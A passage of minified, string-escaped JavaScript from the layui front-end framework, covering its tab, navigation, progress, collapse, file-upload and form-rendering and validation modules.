\"+i)()+\"%\":i}).attr(\"lay-percent\",i),a.text(i),this},\".layui-nav\"),f=\"layui-nav-item\",l=\"layui-nav-bar\",p=\"layui-nav-tree\",b=\"layui-nav-child\",v=\"layui-nav-more\",m=\"layui-anim layui-anim-upbit\",C={tabClick:function(t){var i=(t=t||{}).options||{},a=t.liElem||u(this),e=i.headerElem?a.parent():a.parents(\".layui-tab\").eq(0),i=i.bodyElem?u(i.bodyElem):e.children(\".layui-tab-content\").children(\".layui-tab-item\"),l=a.find(\"a\"),l=\"javascript:;\"!==l.attr(\"href\")&&\"_blank\"===l.attr(\"target\"),n=\"string\"==typeof a.attr(\"lay-unselect\"),s=e.attr(\"lay-filter\"),t=\"index\"in t?t.index:a.parent().children(\"li\").index(a);l||n||(a.addClass(c).siblings().removeClass(c),i.eq(t).addClass(y).siblings().removeClass(y)),layui.event.call(this,o,\"tab(\"+s+\")\",{elem:e,index:t})},tabDelete:function(t,i){var i=i||u(this).parent(),a=i.index(),e=i.closest(\".layui-tab\"),l=e.children(\".layui-tab-content\").children(\".layui-tab-item\"),n=e.attr(\"lay-filter\");i.hasClass(c)&&(i.next()[0]&&i.next().is(\"li\")?C.tabClick.call(i.next()[0],{index:a+1}):i.prev()[0]&&i.prev().is(\"li\")&&C.tabClick.call(i.prev()[0],null,a-1)),i.remove(),l.eq(a).remove(),setTimeout(function(){C.tabAuto()},50),layui.event.call(this,o,\"tabDelete(\"+n+\")\",{elem:e,index:a})},tabAuto:function(){var e=\"layui-tab-bar\",l=\"layui-tab-close\",n=this;u(\".layui-tab\").each(function(){var t=u(this),i=t.children(\".layui-tab-title\"),a=(t.children(\".layui-tab-content\").children(\".layui-tab-item\"),'lay-stope=\"tabmore\"'),a=u('<span class=\"layui-unselect layui-tab-bar\" '+a+\"><i \"+a+' class=\"layui-icon\">&#xe61a;</i></span>');n===window&&8!=d.ie&&C.hideTabMore(!0),t.attr(\"lay-allowclose\")&&i.find(\"li\").each(function(){var t,i=u(this);i.find(\".\"+l)[0]||((t=u('<i class=\"layui-icon layui-icon-close layui-unselect '+l+'\"></i>')).on(\"click\",C.tabDelete),i.append(t))}),\"string\"!=typeof t.attr(\"lay-unauto\")&&(i.prop(\"scrollWidth\")>i.outerWidth()+1?i.find(\".\"+e)[0]||(i.append(a),t.attr(\"overflow\",\"\"),a.on(\"click\",function(t){i[this.title?\"removeClass\":\"addClass\"](\"layui-tab-more\"),this.title=this.title?\"\":\"\\u6536\\u7f29\"})):(i.find(\".\"+e).remove(),t.removeAttr(\"overflow\")))})},hideTabMore:function(t){var i=u(\".layui-tab-title\");!0!==t&&\"tabmore\"===u(t.target).attr(\"lay-stope\")||(i.removeClass(\"layui-tab-more\"),i.find(\".layui-tab-bar\").attr(\"title\",\"\"))},clickThis:function(){var t=u(this),i=t.parents(h),a=i.attr(\"lay-filter\"),e=t.parent(),l=t.siblings(\".\"+b),n=\"string\"==typeof e.attr(\"lay-unselect\");\"javascript:;\"!==t.attr(\"href\")&&\"_blank\"===t.attr(\"target\")||n||l[0]||(i.find(\".\"+c).removeClass(c),e.addClass(c)),i.hasClass(p)&&(l.removeClass(m),l[0]&&(e[\"none\"===l.css(\"display\")?\"addClass\":\"removeClass\"](f+\"ed\"),\"all\"===i.attr(\"lay-shrink\")&&e.siblings().removeClass(f+\"ed\"))),layui.event.call(this,o,\"nav(\"+a+\")\",t)},collapse:function(){var t=u(this),i=t.find(\".layui-colla-icon\"),a=t.siblings(\".layui-colla-content\"),e=t.parents(\".layui-collapse\").eq(0),l=e.attr(\"lay-filter\"),n=\"none\"===a.css(\"display\");\"string\"==typeof e.attr(\"lay-accordion\")&&((e=e.children(\".layui-colla-item\").children(\".\"+y)).siblings(\".layui-colla-title\").children(\".layui-colla-icon\").html(\"&#xe602;\"),e.removeClass(y)),a[n?\"addClass\":\"removeClass\"](y),i.html(n?\"&#xe61a;\":\"&#xe602;\"),layui.event.call(this,o,\"collapse(\"+l+\")\",{title:t,content:a,show:n})}},a=(i.prototype.render=i.prototype.init=function(t,i){var a=i?'[lay-filter=\"'+i+'\"]':\"\",i={tab:function(){C.tabAuto.call({})},nav:function(){var s={},o={},c={},r=\"layui-nav-title\";u(h+a).each(function(t){var i=u(this),a=u('<span class=\"'+l+'\"></span>'),e=i.find(\".\"+f);i.find(\".\"+l)[0]||(i.append(a),(i.hasClass(p)?e.find(\"dd,>.\"+r):e).on(\"mouseenter\",function(){!function(t,i,a){var e,l=u(this),n=l.find(\".\"+b);i.hasClass(p)?n[0]||(e=l.children(\".\"+r),t.css({top:l.offset().top-i.offset().top,height:(e[0]?e:l).outerHeight(),opacity:1})):(n.addClass(m),n.hasClass(\"layui-nav-child-c\")&&n.css({left:-(n.outerWidth()-l.width())/2}),n[0]?t.css({left:t.position().left+t.width()/2,width:0,opacity:0}):t.css({left:l.position().left+parseFloat(l.css(\"marginLeft\")),top:l.position().top+l.height()-t.height()}),s[a]=setTimeout(function(){t.css({width:n[0]?0:l.width(),opacity:n[0]?0:1})},d.ie&&d.ie<10?0:200),clearTimeout(c[a]),\"block\"===n.css(\"display\")&&clearTimeout(o[a]),o[a]=setTimeout(function(){n.addClass(y),l.find(\".\"+v).addClass(v+\"d\")},300))}.call(this,a,i,t)}).on(\"mouseleave\",function(){i.hasClass(p)?a.css({height:0,opacity:0}):(clearTimeout(o[t]),o[t]=setTimeout(function(){i.find(\".\"+b).removeClass(y),i.find(\".\"+v).removeClass(v+\"d\")},300))}),i.on(\"mouseleave\",function(){clearTimeout(s[t]),c[t]=setTimeout(function(){i.hasClass(p)||a.css({width:0,left:a.position().left+a.width()/2,opacity:0})},200)})),e.find(\"a\").each(function(){var t=u(this);t.parent();t.siblings(\".\"+b)[0]&&!t.children(\".\"+v)[0]&&t.append('<i class=\"layui-icon layui-icon-down '+v+'\"></i>'),t.off(\"click\",C.clickThis).on(\"click\",C.clickThis)})})},breadcrumb:function(){u(\".layui-breadcrumb\"+a).each(function(){var t=u(this),i=\"lay-separator\",a=t.attr(i)||\"/\",e=t.find(\"a\");e.next(\"span[\"+i+\"]\")[0]||(e.each(function(t){t!==e.length-1&&u(this).after(\"<span \"+i+\">\"+a+\"</span>\")}),t.css(\"visibility\",\"visible\"))})},progress:function(){var e=\"layui-progress\";u(\".\"+e+a).each(function(){var t=u(this),i=t.find(\".layui-progress-bar\"),a=i.attr(\"lay-percent\");i.css(\"width\",function(){return/^.+\\/.+$/.test(a)?100*new Function(\"return \"+a)()+\"%\":a}),t.attr(\"lay-showpercent\")&&setTimeout(function(){i.html('<span class=\"'+e+'-text\">'+a+\"</span>\")},350)})},collapse:function(){u(\".layui-collapse\"+a).each(function(){u(this).find(\".layui-colla-item\").each(function(){var t=u(this),i=t.find(\".layui-colla-title\"),t=\"none\"===t.find(\".layui-colla-content\").css(\"display\");i.find(\".layui-colla-icon\").remove(),i.append('<i class=\"layui-icon layui-colla-icon\">'+(t?\"&#xe602;\":\"&#xe61a;\")+\"</i>\"),i.off(\"click\",C.collapse).on(\"click\",C.collapse)})})}};return i[t]?i[t]():layui.each(i,function(t,i){i()})},new i),e=u(document);u(function(){a.render()}),e.on(\"click\",\".layui-tab-title li\",C.tabClick),e.on(\"click\",C.hideTabMore),u(window).on(\"resize\",C.tabAuto),t(o,a)});layui.define([\"lay\",\"layer\"],function(e){\"use strict\";var y=layui.$,t=layui.layer,F=layui.device(),i={config:{},set:function(e){var t=this;return t.config=y.extend({},t.config,e),t},on:function(e,t){return layui.onevent.call(this,n,e,t)}},n=\"upload\",a=\"layui-upload-file\",o=\"layui-upload-form\",b=\"layui-upload-iframe\",x=\"layui-upload-choose\",w=function(e){var t=this;t.config=y.extend({},t.config,i.config,e),t.render()};w.prototype.config={accept:\"images\",exts:\"\",auto:!0,bindAction:\"\",url:\"\",force:\"\",field:\"file\",acceptMime:\"\",method:\"post\",data:{},drag:!0,size:0,number:0,multiple:!1},w.prototype.render=function(e){var t=this;(e=t.config).elem=y(e.elem),e.bindAction=y(e.bindAction),t.file(),t.events()},w.prototype.file=function(){var e=this,t=e.config,i=e.elemFile=y(['<input class=\"'+a+'\" type=\"file\" accept=\"'+t.acceptMime+'\" name=\"'+t.field+'\"',t.multiple?\" multiple\":\"\",\">\"].join(\"\")),n=t.elem.next();(n.hasClass(a)||n.hasClass(o))&&n.remove(),F.ie&&F.ie<10&&t.elem.wrap('<div class=\"layui-upload-wrap\"></div>'),e.isFile()?(e.elemFile=t.elem,t.field=t.elem[0].name):t.elem.after(i),F.ie&&F.ie<10&&e.initIE()},w.prototype.initIE=function(){var i,e=this.config,t=y('<iframe id=\"'+b+'\" class=\"'+b+'\" name=\"'+b+'\" frameborder=\"0\"></iframe>'),n=y(['<form target=\"'+b+'\" class=\"'+o+'\" method=\"post\" key=\"set-mine\" enctype=\"multipart/form-data\" action=\"'+e.url+'\">',\"</form>\"].join(\"\"));y(\"#\"+b)[0]||y(\"body\").append(t),e.elem.next().hasClass(o)||(this.elemFile.wrap(n),e.elem.next(\".\"+o).append((i=[],layui.each(e.data,function(e,t){t=\"function\"==typeof t?t():t,i.push('<input type=\"hidden\" name=\"'+e+'\" value=\"'+t+'\">')}),i.join(\"\"))))},w.prototype.msg=function(e){return t.msg(e,{icon:2,shift:6})},w.prototype.isFile=function(){var e=this.config.elem[0];if(e)return\"input\"===e.tagName.toLocaleLowerCase()&&\"file\"===e.type},w.prototype.preview=function(n){window.FileReader&&layui.each(this.chooseFiles,function(e,t){var i=new FileReader;i.readAsDataURL(t),i.onload=function(){n&&n(e,t,this.result)}})},w.prototype.upload=function(e,t){var i,n,a,o,l=this,r=l.config,u=l.elemFile[0],c=function(){return e||l.files||l.chooseFiles||u.files},s=function(){var t=0,a=0,e=c(),o=function(){r.multiple&&t+a===l.fileLength&&\"function\"==typeof r.allDone&&r.allDone({total:l.fileLength,successful:t,failed:a})};layui.each(e,function(i,e){var n=new FormData,e=(layui.each(r.data,function(e,t){t=\"function\"==typeof t?t():t,n.append(e,t)}),n.append(r.field,e),{url:r.url,type:\"post\",data:n,contentType:!1,processData:!1,dataType:\"json\",headers:r.headers||{},success:function(e){t++,p(i,e),o()},error:function(e){a++,l.msg(\"Request URL is abnormal: \"+(e.statusText||\"error\")),d(i),o()}});\"function\"==typeof r.progress&&(e.xhr=function(){var e=y.ajaxSettings.xhr();return e.upload.addEventListener(\"progress\",function(e){var t;e.lengthComputable&&(t=Math.floor(e.loaded/e.total*100),r.progress(t,(r.item||r.elem)[0],e,i))}),e}),y.ajax(e)})},f=function(){var n=y(\"#\"+b);l.elemFile.parent().submit(),clearInterval(w.timer),w.timer=setInterval(function(){var e,t=n.contents().find(\"body\");try{e=t.text()}catch(i){l.msg(\"Cross-domain requests are not supported\"),clearInterval(w.timer),d()}e&&(clearInterval(w.timer),t.html(\"\"),p(0,e))},30)},p=function(e,t){if(l.elemFile.next(\".\"+x).remove(),u.value=\"\",\"json\"===r.force&&\"object\"!=typeof t)try{t=JSON.parse(t)}catch(i){return t={},l.msg(\"Please return JSON data format\")}\"function\"==typeof r.done&&r.done(t,e||0,function(e){l.upload(e)})},d=function(e){r.auto&&(u.value=\"\"),\"function\"==typeof r.error&&r.error(e||0,function(e){l.upload(e)})},m=r.exts,h=(n=[],layui.each(e||l.chooseFiles,function(e,t){n.push(t.name)}),n),g={preview:function(e){l.preview(e)},upload:function(e,t){var i={};i[e]=t,l.upload(i)},pushFile:function(){return l.files=l.files||{},layui.each(l.chooseFiles,function(e,t){l.files[e]=t}),l.files},resetFile:function(e,t,i){t=new File([t],i);l.files=l.files||{},l.files[e]=t}},v={file:\"\\u6587\\u4ef6\",images:\"\\u56fe\\u7247\",video:\"\\u89c6\\u9891\",audio:\"\\u97f3\\u9891\"}[r.accept]||\"\\u6587\\u4ef6\",h=0===h.length?u.value.match(/[^\\/\\\\]+\\..+/g)||[]||\"\":h;if(0!==h.length){switch(r.accept){case\"file\":layui.each(h,function(e,t){if(m&&!RegExp(\".\\\\.(\"+m+\")$\",\"i\").test(escape(t)))return i=!0});break;case\"video\":layui.each(h,function(e,t){if(!RegExp(\".\\\\.(\"+(m||\"avi|mp4|wma|rmvb|rm|flash|3gp|flv\")+\")$\",\"i\").test(escape(t)))return i=!0});break;case\"audio\":layui.each(h,function(e,t){if(!RegExp(\".\\\\.(\"+(m||\"mp3|wav|mid\")+\")$\",\"i\").test(escape(t)))return i=!0});break;default:layui.each(h,function(e,t){if(!RegExp(\".\\\\.(\"+(m||\"jpg|png|gif|bmp|jpeg\")+\")$\",\"i\").test(escape(t)))return i=!0})}if(i)return l.msg(\"\\u9009\\u62e9\\u7684\"+v+\"\\u4e2d\\u5305\\u542b\\u4e0d\\u652f\\u6301\\u7684\\u683c\\u5f0f\"),u.value=\"\";if(\"choose\"!==t&&!r.auto||(r.choose&&r.choose(g),\"choose\"!==t)){if(l.fileLength=(a=0,v=c(),layui.each(v,function(){a++}),a),r.number&&l.fileLength>r.number)return l.msg(\"\\u540c\\u65f6\\u6700\\u591a\\u53ea\\u80fd\\u4e0a\\u4f20: \"+r.number+\" \\u4e2a\\u6587\\u4ef6<br>\\u60a8\\u5f53\\u524d\\u5df2\\u7ecf\\u9009\\u62e9\\u4e86: \"+l.fileLength+\" \\u4e2a\\u6587\\u4ef6\");if(0<r.size&&!(F.ie&&F.ie<10))if(layui.each(c(),function(e,t){t.size>1024*r.size&&(t=1<=(t=r.size/1024)?t.toFixed(2)+\"MB\":r.size+\"KB\",u.value=\"\",o=t)}),o)return l.msg(\"\\u6587\\u4ef6\\u5927\\u5c0f\\u4e0d\\u80fd\\u8d85\\u8fc7 \"+o);if(!r.before||!1!==r.before(g))F.ie?(9<F.ie?s:f)():s()}}},w.prototype.reload=function(e){delete(e=e||{}).elem,delete e.bindAction;(e=this.config=y.extend({},this.config,i.config,e)).elem.next().attr({name:e.name,accept:e.acceptMime,multiple:e.multiple})},w.prototype.events=function(){var n=this,a=n.config,o=function(e){n.chooseFiles={},layui.each(e,function(e,t){var i=(new Date).getTime();n.chooseFiles[i+\"-\"+e]=t})},l=function(e,t){var i=n.elemFile,e=(a.item||a.elem,1<e.length?e.length+\"\\u4e2a\\u6587\\u4ef6\":(e[0]||{}).name||i[0].value.match(/[^\\/\\\\]+\\..+/g)||[]||\"\");i.next().hasClass(x)&&i.next().remove(),n.upload(null,\"choose\"),n.isFile()||a.choose||i.after('<span class=\"layui-inline '+x+'\">'+e+\"</span>\")},r=function(){var e=y(this);(e.attr(\"lay-data\")||e.attr(\"lay-options\"))&&(n.config=y.extend({},a,lay.options(this,{attr:e.attr(\"lay-data\")?\"lay-data\":null})))};a.elem.off(\"upload.start\").on(\"upload.start\",function(){var e=y(this);r.call(this),n.config.item=e,n.elemFile[0].click()}),F.ie&&F.ie<10||a.elem.off(\"upload.over\").on(\"upload.over\",function(){y(this).attr(\"lay-over\",\"\")}).off(\"upload.leave\").on(\"upload.leave\",function(){y(this).removeAttr(\"lay-over\")}).off(\"upload.drop\").on(\"upload.drop\",function(e,t){var i=y(this),t=t.originalEvent.dataTransfer.files||[];i.removeAttr(\"lay-over\"),r.call(this),o(t),a.auto?n.upload():l(t)}),n.elemFile.off(\"upload.change\").on(\"upload.change\",function(){var e=this.files||[];r.call(this),o(e),a.auto?n.upload():l(e)}),a.bindAction.off(\"upload.action\").on(\"upload.action\",function(){n.upload()}),a.elem.data(\"haveEvents\")||(n.elemFile.on(\"change\",function(){y(this).trigger(\"upload.change\")}),a.elem.on(\"click\",function(){n.isFile()||y(this).trigger(\"upload.start\")}),a.drag&&a.elem.on(\"dragover\",function(e){e.preventDefault(),y(this).trigger(\"upload.over\")}).on(\"dragleave\",function(e){y(this).trigger(\"upload.leave\")}).on(\"drop\",function(e){e.preventDefault(),y(this).trigger(\"upload.drop\",e)}),a.bindAction.on(\"click\",function(){y(this).trigger(\"upload.action\")}),a.elem.data(\"haveEvents\",!0))},i.render=function(e){e=new w(e);return function(){var t=this;return{upload:function(e){t.upload.call(t,e)},reload:function(e){t.reload.call(t,e)},config:t.config}}.call(e)},e(n,i)});layui.define([\"lay\",\"layer\",\"util\"],function(e){\"use strict\";var b=layui.$,h=layui.layer,d=layui.util,l=layui.hint(),w=(layui.device(),\"form\"),o=\".layui-form\",T=\"layui-this\",$=\"layui-hide\",F=\"layui-disabled\",t=function(){this.config={verify:{required:[/[\\S]+/,\"\\u5fc5\\u586b\\u9879\\u4e0d\\u80fd\\u4e3a\\u7a7a\"],phone:[/^1\\d{10}$/,\"\\u8bf7\\u8f93\\u5165\\u6b63\\u786e\\u7684\\u624b\\u673a\\u53f7\"],email:[/^([a-zA-Z0-9_\\.\\-])+\\@(([a-zA-Z0-9\\-])+\\.)+([a-zA-Z0-9]{2,4})+$/,\"\\u90ae\\u7bb1\\u683c\\u5f0f\\u4e0d\\u6b63\\u786e\"],url:[/^(#|(http(s?)):\\/\\/|\\/\\/)[^\\s]+\\.[^\\s]+$/,\"\\u94fe\\u63a5\\u683c\\u5f0f\\u4e0d\\u6b63\\u786e\"],number:function(e){if(!e||isNaN(e))return\"\\u53ea\\u80fd\\u586b\\u5199\\u6570\\u5b57\"},date:[/^(\\d{4})[-\\/](\\d{1}|0\\d{1}|1[0-2])([-\\/](\\d{1}|0\\d{1}|[1-2][0-9]|3[0-1]))*$/,\"\\u65e5\\u671f\\u683c\\u5f0f\\u4e0d\\u6b63\\u786e\"],identity:[/(^\\d{15}$)|(^\\d{17}(x|X|\\d)$)/,\"\\u8bf7\\u8f93\\u5165\\u6b63\\u786e\\u7684\\u8eab\\u4efd\\u8bc1\\u53f7\"]},autocomplete:null}},i=(t.prototype.set=function(e){return b.extend(!0,this.config,e),this},t.prototype.verify=function(e){return b.extend(!0,this.config.verify,e),this},t.prototype.getFormElem=function(e){return b(o+(e?'[lay-filter=\"'+e+'\"]':\"\"))},t.prototype.on=function(e,t){return layui.onevent.call(this,w,e,t)},t.prototype.val=function(e,i){return this.getFormElem(e).each(function(e,t){var a=b(this);layui.each(i,function(e,t){var i,e=a.find('[name=\"'+e+'\"]');e[0]&&(\"checkbox\"===(i=e[0].type)?e[0].checked=t:\"radio\"===i?e.each(function(){this.checked=this.value==t}):e.val(t))})}),r.render(null,e),this.getValue(e)},t.prototype.getValue=function(e,t){t=t||this.getFormElem(e);var a={},n={},e=t.find(\"input,select,textarea\");return layui.each(e,function(e,t){var i;b(this);t.name=(t.name||\"\").replace(/^\\s*|\\s*&/,\"\"),t.name&&(/^.*\\[\\]$/.test(t.name)&&(i=t.name.match(/^(.*)\\[\\]$/g)[0],a[i]=0|a[i],i=t.name.replace(/^(.*)\\[\\]$/,\"$1[\"+a[i]+++\"]\")),/^(checkbox|radio)$/.test(t.type)&&!t.checked||(n[i||t.name]=t.value))}),n},t.prototype.render=function(e,t){var i=this.config,a=b(o+(t?'[lay-filter=\"'+t+'\"]':\"\")),n={input:function(e){e=e||a.find(\"input,textarea\");i.autocomplete&&e.attr(\"autocomplete\",i.autocomplete),a.find(\"input[lay-affix],textarea[lay-affix]\").each(function(){var l=b(this),r=l.attr(\"lay-affix\"),s=\"layui-input-suffix\",o=\"layui-input-affix\",e=l.is(\"[disabled]\")||l.is(\"[readonly]\"),c=function(e,t){(e=b(e))[0]&&e[b.trim(t)?\"removeClass\":\"addClass\"]($)},n=function(t){t=b.extend({},u[r]||{value:r},t,lay.options(l[0]));var i=b('<div class=\"'+o+'\">'),e=b('<i class=\"layui-icon layui-icon-'+t.value+(t.disabled?\" \"+F:\"\")+'\"></i>'),a=(i.append(e),t.split&&i.addClass(\"layui-input-split\"),l.next(\".\"+o)),n=(a[0]&&a.remove(),l.next(\".\"+s));n[0]?((a=n.find(\".\"+o))[0]&&a.remove(),n.prepend(i),l.css(\"padding-right\",function(){return(l.closest(\".layui-input-group\")[0]?0:n.outerWidth())+i.outerWidth()})):(i.addClass(s),l.after(i)),\"auto\"===t.show&&c(i,l.val()),l.on(\"input propertychange\",function(){var e=this.value;\"auto\"===t.show&&c(i,e)}),e.on(\"click\",function(){var e=l.attr(\"lay-filter\");b(this).hasClass(F)||(\"function\"==typeof t.click&&t.click.call(this,l,t),layui.event.call(this,w,\"input-affix(\"+e+\")\",{elem:l[0],affix:r,options:t}))})},u={eye:{value:\"eye-invisible\",click:function(e,t){var i=\"LAY_FORM_INPUT_AFFIX_SHOW\",a=e.data(i);e.attr(\"type\",a?\"password\":\"text\").data(i,!a),n({value:a?\"eye-invisible\":\"eye\"})}},clear:{value:\"clear\",click:function(e){e.val(\"\").focus(),c(b(this).parent(),null)},show:\"auto\",disabled:e}};n()})},select:function(e){var v,c=\"\\u8bf7\\u9009\\u62e9\",m=\"layui-form-select\",g=\"layui-select-title\",x=\"layui-select-none\",k=\"\",e=e||a.find(\"select\"),C=function(e,t){b(e.target).parent().hasClass(g)&&!t||(b(\".\"+m).removeClass(m+\"ed \"+m+\"up\"),v&&k&&v.val(k)),v=null},u=function(a,e,t){var s,r,i,n,o,l,c=b(this),u=a.find(\".\"+g),d=u.find(\"input\"),f=a.find(\"dl\"),h=f.children(\"dd\"),y=f.children(\"dt\"),p=this.selectedIndex;e||(r=c.attr(\"lay-search\"),i=function(){var e=a.offset().top+a.outerHeight()+5-q.scrollTop(),t=f.outerHeight();p=c[0].selectedIndex,a.addClass(m+\"ed\"),h.removeClass($),y.removeClass($),s=null,h.removeClass(T),0<=p&&h.eq(p).addClass(T),e+t>q.height()&&t<=e&&a.addClass(m+\"up\"),o()},n=function(e){a.removeClass(m+\"ed \"+m+\"up\"),d.blur(),s=null,e||l(d.val(),function(e){var t=c[0].selectedIndex;e&&(k=b(c[0].options[t]).html(),0===t&&k===d.attr(\"placeholder\")&&(k=\"\"),d.val(k||\"\"))})},o=function(){var e,t,i=f.children(\"dd.\"+T);i[0]&&(e=i.position().top,t=f.height(),i=i.height(),t<e&&f.scrollTop(e+f.scrollTop()-t+i-5),e<0&&f.scrollTop(e+f.scrollTop()-5))},u.on(\"click\",function(e){a.hasClass(m+\"ed\")?n():(C(e,!0),i()),f.find(\".\"+x).remove()}),u.find(\".layui-edge\").on(\"click\",function(){d.focus()}),d.on(\"keyup\",function(e){9===e.keyCode&&i()}).on(\"keydown\",function(l){var e=l.keyCode,r=(9===e&&n(),function(a,n){l.preventDefault();var e=function(){var e=f.children(\"dd.\"+T);if(f.children(\"dd.\"+$)[0]&&\"next\"===a){var t=f.children(\"dd:not(.\"+$+\",.\"+F+\")\"),i=t.eq(0).index();if(0<=i&&i<e.index()&&!t.hasClass(T))return t.eq(0).prev()[0]?t.eq(0).prev():f.children(\":last\")}return n&&n[0]?n:s&&s[0]?s:e}(),t=e[a](),i=e[a](\"dd:not(.\"+$+\")\");return t[0]?(s=e[a](),i[0]&&!i.hasClass(F)||!s[0]?(i.addClass(T).siblings().removeClass(T),void o()):r(a,s)):s=null});38===e&&r(\"prev\"),40===e&&r(\"next\"),13===e&&(l.preventDefault(),f.children(\"dd.\"+T).trigger(\"click\"))}),l=function(a,e,n){var l=0,t=(layui.each(h,function(){var e=b(this),t=e.text(),i=(\"cs\"!==r&&(t=t.toLowerCase(),a=a.toLowerCase()),-1===t.indexOf(a));(\"\"===a||\"blur\"===n?a!==t:i)&&l++,\"keyup\"===n&&e[i?\"addClass\":\"removeClass\"]($)}),\"keyup\"===n&&layui.each(y,function(){var e=b(this),t=e.nextUntil(\"dt\").filter(\"dd\");e[t.length==t.filter(\".\"+$).length?\"addClass\":\"removeClass\"]($)}),l===h.length);return e(t),t},t&&d.on(\"input propertychange\",function(e){var t=this.value,e=e.keyCode;if(9===e||13===e||37===e||38===e||39===e||40===e)return!1;l(t,function(e){e?f.find(\".\"+x)[0]||f.append('<p class=\"'+x+'\">\\u65e0\\u5339\\u914d\\u9879</p>'):f.find(\".\"+x).remove()},\"keyup\"),\"\"===t&&(c.val(\"\"),f.find(\".\"+T).removeClass(T),(c[0].options[0]||{}).value||f.children(\"dd:eq(0)\").addClass(T),f.find(\".\"+x).remove()),o()}).on(\"blur\",function(e){var t=c[0].selectedIndex;v=d,k=b(c[0].options[t]).html(),0===t&&k===d.attr(\"placeholder\")&&(k=\"\"),setTimeout(function(){l(d.val(),function(e){k||d.val(\"\")},\"blur\")},200)}),h.on(\"click\",function(){var e=b(this),t=e.attr(\"lay-value\"),i=c.attr(\"lay-filter\");return e.hasClass(F)||(e.hasClass(\"layui-select-tips\")?d.val(\"\"):(d.val(e.text()),e.addClass(T)),e.siblings().removeClass(T),c.val(t).removeClass(\"layui-form-danger\"),layui.event.call(this,w,\"select(\"+i+\")\",{elem:c[0],value:t,othis:a}),n(!0)),!1}),a.find(\"dl>dt\").on(\"click\",function(e){return!1}),b(document).off(\"click\",C).on(\"click\",C))};e.each(function(e,t){var i=b(this),a=i.next(\".\"+m),n=this.disabled,l=t.value,r=b(t.options[t.selectedIndex]),t=t.options[0];if(\"string\"==typeof i.attr(\"lay-ignore\"))return i.show();var s,o=\"string\"==typeof i.attr(\"lay-search\"),t=t&&!t.value&&t.innerHTML||c,r=b(['<div class=\"'+(o?\"\":\"layui-unselect \")+m,(n?\" layui-select-disabled\":\"\")+'\">','<div class=\"'+g+'\">','<input type=\"text\" placeholder=\"'+d.escape(b.trim(t))+'\" value=\"'+d.escape(b.trim(l?r.html():\"\"))+'\"'+(!n&&o?\"\":\" readonly\")+' class=\"layui-input'+(o?\"\":\" layui-unselect\")+(n?\" \"+F:\"\")+'\">','<i class=\"layui-edge\"></i></div>','<dl class=\"layui-anim layui-anim-upbit'+(i.find(\"optgroup\")[0]?\" layui-select-group\":\"\")+'\">',(t=i.find(\"*\"),s=[],layui.each(t,function(e,t){var i=t.tagName.toLowerCase();0!==e||t.value||\"optgroup\"===i?\"optgroup\"===i?s.push(\"<dt>\"+t.label+\"</dt>\"):s.push('<dd lay-value=\"'+d.escape(t.value)+'\" class=\"'+(l===t.value?T:\"\")+(t.disabled?\" \"+F:\"\")+'\">'+b.trim(t.innerHTML)+\"</dd>\"):s.push('<dd lay-value=\"\" class=\"layui-select-tips\">'+b.trim(t.innerHTML||c)+\"</dd>\")}),0===s.length&&s.push('<dd lay-value=\"\" class=\"'+F+'\">\\u6ca1\\u6709\\u9009\\u9879</dd>'),s.join(\"\")+\"</dl>\"),\"</div>\"].join(\"\"));a[0]&&a.remove(),i.after(r),u.call(this,r,n,o)})},checkbox:function(e){var o={checkbox:[\"layui-form-checkbox\",\"layui-form-checked\",\"checkbox\"],\"switch\":[\"layui-form-switch\",\"layui-form-onswitch\",\"switch\"],SUBTRA:\"layui-icon-indeterminate\"},e=e||a.find(\"input[type=checkbox]\"),c={primary:!0,tag:!0,\"switch\":!0};e.each(function(e,t){var i=b(this),a=i.attr(\"lay-skin\")||\"primary\",n=b.trim(t.title||(t.title=i.attr(\"lay-text\")||\"\")),l=this.disabled,n=\"switch\"===a?n.split(\"|\"):[n],r=o[a=c[a]?a:\"primary\"]||o.checkbox;if(\"string\"==typeof i.attr(\"lay-ignore\"))return i.show();var s=i.next(\".\"+r[0]),t=b(['<div class=\"layui-unselect '+r[0],t.checked?\" \"+r[1]:\"\",l?\" layui-checkbox-disabled \"+F:\"\",'\"',a?' lay-skin=\"'+a+'\"':\"\",\">\",(l={checkbox:[n[0]?\"<span>\"+d.escape(n[0])+\"</span>\":\"\",'<i class=\"layui-icon '+(\"primary\"===a&&!t.checked&&i.get(0).indeterminate?o.SUBTRA:\"layui-icon-ok\")+'\"></i>'].join(\"\"),\"switch\":\"<em>\"+((t.checked?n[0]:n[1])||\"\")+\"</em><i></i>\"})[a]||l.checkbox,\"</div>\"].join(\"\"));s[0]&&s.remove(),i.after(t),function(i,a){var n=b(this);i.on(\"click\",function(){var e=n.attr(\"lay-filter\"),t=(n.attr(\"title\")||\"\").split(\"|\");n[0].disabled||(n[0].indeterminate&&(n[0].indeterminate=!1,i.find(o.SUBTRA).removeClass(o.SUBTRA).addClass(\"layui-icon-ok\")),n[0].checked?(n[0].checked=!1,i.removeClass(a[1]).find(\"em\").text(t[1])):(n[0].checked=!0,i.addClass(a[1]).find(\"em\").text(t[0])),layui.event.call(n[0],w,a[2]+\"(\"+e+\")\",{elem:n[0],value:n[0].value,othis:i}))})}.call(this,t,r)})},radio:function(e){var r=\"layui-form-radio\",s=[\"&#xe643;\",\"&#xe63f;\"],e=e||a.find(\"input[type=radio]\");e.each(function(e,t){var i=b(this),a=i.next(\".\"+r),n=this.disabled;if(\"string\"==typeof i.attr(\"lay-ignore\"))return i.show();a[0]&&a.remove();n=b(['<div class=\"layui-unselect '+r,t.checked?\" \"+r+\"ed\":\"\",(n?\" layui-radio-disabled \"+F:\"\")+'\">','<i class=\"layui-anim layui-icon\">'+s[t.checked?0:1]+\"</i>\",\"<div>\"+(a=d.escape(t.title||\"\"),a=\"string\"==typeof i.next().attr(\"lay-radio\")?i.next().html():a)+\"</div>\",\"</div>\"].join(\"\"));i.after(n),function(a){var n=b(this),l=\"layui-anim-scaleSpring\";a.on(\"click\",function(){var e=n[0].name,t=n.parents(o),i=n.attr(\"lay-filter\"),e=t.find(\"input[name=\"+e.replace(/(\\.|#|\\[|\\])/g,\"\\\\$1\")+\"]\");n[0].disabled||(layui.each(e,function(){var e=b(this).next(\".\"+r);this.checked=!1,e.removeClass(r+\"ed\"),e.find(\".layui-icon\").removeClass(l).html(s[1])}),n[0].checked=!0,a.addClass(r+\"ed\"),a.find(\".layui-icon\").addClass(l).html(s[0]),layui.event.call(n[0],w,\"radio(\"+i+\")\",{elem:n[0],value:n[0].value,othis:a}))})}.call(this,n)})}},t=function(){layui.each(n,function(e,t){t()})};return\"object\"===layui.type(e)?b(e).is(o)?(a=b(e),t()):e.each(function(e,t){var 